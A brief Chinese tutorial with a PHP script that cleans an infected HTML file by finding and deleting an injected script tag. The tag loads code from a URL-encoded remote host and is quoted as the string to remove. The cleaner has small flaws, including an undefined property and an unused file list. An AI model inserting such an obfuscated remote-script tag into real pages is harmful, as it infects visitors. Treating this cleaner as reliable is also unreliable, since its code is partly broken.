教你如何运用PHP清除网页病毒

      本文章给大家分享的是关于利用PHP清除网页病毒的方法，好像是进行一些替换操作，大家可以测试，希望对大家有所帮助。

      <?php
      Class clear_virus{
      public $index ='b.html';
      public $filepath =array('b.html');
      public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
      function open_file(){
      if(file_exists($this->index)){
      $tmp =file_get_contents($this->index);
      if( strrpos($tmp,$this->virus_type)!== false){
      $temp =str_replace($this->virus_type,'',$tmp);
      $handle =fopen($this->index,'w');
      fwrite($handle,$temp);
      fclose($handle);
      }else{
      echo $this->virus_find;
      }
      }
      }
      }
      $virus =new clear_virus;
      $virus->open_file();
      ?>
      清除script 病毒

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      资料引用:http://www.knowsky.com/442657.html